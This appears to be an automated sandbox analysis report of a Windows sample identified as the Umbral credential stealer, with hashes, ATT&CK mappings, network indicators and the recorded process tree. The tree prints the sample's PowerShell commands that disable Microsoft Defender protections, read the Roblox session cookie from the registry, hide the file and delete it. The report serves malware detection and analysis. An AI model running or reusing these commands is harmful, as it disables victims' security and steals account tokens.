umbral | 68df11ba8f6db56ddf29a0ef7ea38663342375e36abb0b2924fbc974acf7b15f

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22-08-2024 01:21

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General

Target

20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe
Size

506KB
MD5

6f801049dc7c819dc80f015947962f47
SHA1

427c1556b90aa70d3d1b3314bc88325ea30f4687
SHA256

20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd
SHA512

d6dd99f5dcaa1717d36ab6f2ad17264416114b77750bfe90901f37bfabbd5ba2f54f43f356cf1e4db6376eb2b0a8850502ce6535f546c59799961241333bfe2e
SSDEEP

6144:uloZM9rIkd8g+EtXHkv/iD4CGYhfVeGJdMFXSy3v7Igb8e1mSiZ:4oZOL+EP8CGYhfVeGJdMFXSy3vZUZ

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2860-1-0x0000000000E20000-0x0000000000EA6000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2168	powershell.exe
1772	powershell.exe
760	powershell.exe
3052	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe

Deletes itself 1 IoCs

pid	Process
2448	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2448	cmd.exe
2960	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2480	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2960	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3052	powershell.exe
2168	powershell.exe
1772	powershell.exe
2344	powershell.exe
760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeIncreaseQuotaPrivilege	2700	wmic.exe
Token: SeSecurityPrivilege	2700	wmic.exe
Token: SeTakeOwnershipPrivilege	2700	wmic.exe
Token: SeLoadDriverPrivilege	2700	wmic.exe
Token: SeSystemProfilePrivilege	2700	wmic.exe
Token: SeSystemtimePrivilege	2700	wmic.exe
Token: SeProfSingleProcessPrivilege	2700	wmic.exe
Token: SeIncBasePriorityPrivilege	2700	wmic.exe
Token: SeCreatePagefilePrivilege	2700	wmic.exe
Token: SeBackupPrivilege	2700	wmic.exe
Token: SeRestorePrivilege	2700	wmic.exe
Token: SeShutdownPrivilege	2700	wmic.exe
Token: SeDebugPrivilege	2700	wmic.exe
Token: SeSystemEnvironmentPrivilege	2700	wmic.exe
Token: SeRemoteShutdownPrivilege	2700	wmic.exe
Token: SeUndockPrivilege	2700	wmic.exe
Token: SeManageVolumePrivilege	2700	wmic.exe
Token: 33	2700	wmic.exe
Token: 34	2700	wmic.exe
Token: 35	2700	wmic.exe
Token: SeIncreaseQuotaPrivilege	2700	wmic.exe
Token: SeSecurityPrivilege	2700	wmic.exe
Token: SeTakeOwnershipPrivilege	2700	wmic.exe
Token: SeLoadDriverPrivilege	2700	wmic.exe
Token: SeSystemProfilePrivilege	2700	wmic.exe
Token: SeSystemtimePrivilege	2700	wmic.exe
Token: SeProfSingleProcessPrivilege	2700	wmic.exe
Token: SeIncBasePriorityPrivilege	2700	wmic.exe
Token: SeCreatePagefilePrivilege	2700	wmic.exe
Token: SeBackupPrivilege	2700	wmic.exe
Token: SeRestorePrivilege	2700	wmic.exe
Token: SeShutdownPrivilege	2700	wmic.exe
Token: SeDebugPrivilege	2700	wmic.exe
Token: SeSystemEnvironmentPrivilege	2700	wmic.exe
Token: SeRemoteShutdownPrivilege	2700	wmic.exe
Token: SeUndockPrivilege	2700	wmic.exe
Token: SeManageVolumePrivilege	2700	wmic.exe
Token: 33	2700	wmic.exe
Token: 34	2700	wmic.exe
Token: 35	2700	wmic.exe
Token: SeIncreaseQuotaPrivilege	2884	wmic.exe
Token: SeSecurityPrivilege	2884	wmic.exe
Token: SeTakeOwnershipPrivilege	2884	wmic.exe
Token: SeLoadDriverPrivilege	2884	wmic.exe
Token: SeSystemProfilePrivilege	2884	wmic.exe
Token: SeSystemtimePrivilege	2884	wmic.exe
Token: SeProfSingleProcessPrivilege	2884	wmic.exe
Token: SeIncBasePriorityPrivilege	2884	wmic.exe
Token: SeCreatePagefilePrivilege	2884	wmic.exe
Token: SeBackupPrivilege	2884	wmic.exe
Token: SeRestorePrivilege	2884	wmic.exe
Token: SeShutdownPrivilege	2884	wmic.exe
Token: SeDebugPrivilege	2884	wmic.exe
Token: SeSystemEnvironmentPrivilege	2884	wmic.exe
Token: SeRemoteShutdownPrivilege	2884	wmic.exe
Token: SeUndockPrivilege	2884	wmic.exe
Token: SeManageVolumePrivilege	2884	wmic.exe
Token: 33	2884	wmic.exe
Token: 34	2884	wmic.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 2868	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	30
PID 2860 wrote to memory of 2868	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	30
PID 2860 wrote to memory of 2868	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	30
PID 2860 wrote to memory of 3052	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	32
PID 2860 wrote to memory of 3052	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	32
PID 2860 wrote to memory of 3052	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	32
PID 2860 wrote to memory of 2168	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	34
PID 2860 wrote to memory of 2168	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	34
PID 2860 wrote to memory of 2168	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	34
PID 2860 wrote to memory of 1772	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	36
PID 2860 wrote to memory of 1772	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	36
PID 2860 wrote to memory of 1772	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	36
PID 2860 wrote to memory of 2344	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	38
PID 2860 wrote to memory of 2344	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	38
PID 2860 wrote to memory of 2344	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	38
PID 2860 wrote to memory of 2700	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	40
PID 2860 wrote to memory of 2700	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	40
PID 2860 wrote to memory of 2700	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	40
PID 2860 wrote to memory of 2884	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	43
PID 2860 wrote to memory of 2884	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	43
PID 2860 wrote to memory of 2884	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	43
PID 2860 wrote to memory of 1908	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	45
PID 2860 wrote to memory of 1908	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	45
PID 2860 wrote to memory of 1908	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	45
PID 2860 wrote to memory of 760	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	47
PID 2860 wrote to memory of 760	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	47
PID 2860 wrote to memory of 760	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	47
PID 2860 wrote to memory of 2480	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	49
PID 2860 wrote to memory of 2480	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	49
PID 2860 wrote to memory of 2480	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	49
PID 2860 wrote to memory of 2448	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	51
PID 2860 wrote to memory of 2448	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	51
PID 2860 wrote to memory of 2448	2860	20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe	51
PID 2448 wrote to memory of 2960	2448	cmd.exe	53
PID 2448 wrote to memory of 2960	2448	cmd.exe	53
PID 2448 wrote to memory of 2960	2448	cmd.exe	53

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2868	attrib.exe

C:\Users\Admin\AppData\Local\Temp\20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe
"C:\Users\Admin\AppData\Local\Temp\20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe"
  2⤵
  - Views/modifies file attributes
  PID:2868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2344
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2480
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\20a5f718e30ebf604171a2e6c7b57fdd3affb5d1b3845920c12543fc9e8337bd.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1be495d427bef10af1a3b679b8c0e8d6

SHA1
7701d294e082a218c387b541ef48d32387c07d3d

SHA256
93b39d75963ec381fa7e2457c653c5cc32c3f3aec94b0a49257029a802b02369

SHA512
f99325ceab43b28b484d4b2cd1ff405938e5b52ada379dd8adc2b1eb22ad92ac64f255961538ab38790e74349d0ea0c2cfb855e4b20971c31447a05eca631453

Download Submit
memory/2168-21-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2168-20-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2860-1-0x0000000000E20000-0x0000000000EA6000-memory.dmp

Filesize
536KB

Download
memory/2860-2-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/2860-54-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/2860-0-0x000007FEF5DB3000-0x000007FEF5DB4000-memory.dmp

Filesize
4KB

Download
memory/2860-50-0x000007FEF5DB0000-0x000007FEF679C000-memory.dmp

Filesize
9.9MB

Download
memory/2860-49-0x000007FEF5DB3000-0x000007FEF5DB4000-memory.dmp

Filesize
4KB

Download
memory/3052-8-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/3052-14-0x000007FEEDA40000-0x000007FEEE3DD000-memory.dmp

Filesize
9.6MB

Download
memory/3052-13-0x000007FEEDA40000-0x000007FEEE3DD000-memory.dmp

Filesize
9.6MB

Download
memory/3052-12-0x000007FEEDA40000-0x000007FEEE3DD000-memory.dmp

Filesize
9.6MB

Download
memory/3052-11-0x000007FEEDA40000-0x000007FEEE3DD000-memory.dmp

Filesize
9.6MB

Download
memory/3052-10-0x000007FEEDA40000-0x000007FEEE3DD000-memory.dmp

Filesize
9.6MB

Download
memory/3052-9-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/3052-7-0x000007FEEDCFE000-0x000007FEEDCFF000-memory.dmp

Filesize
4KB

Download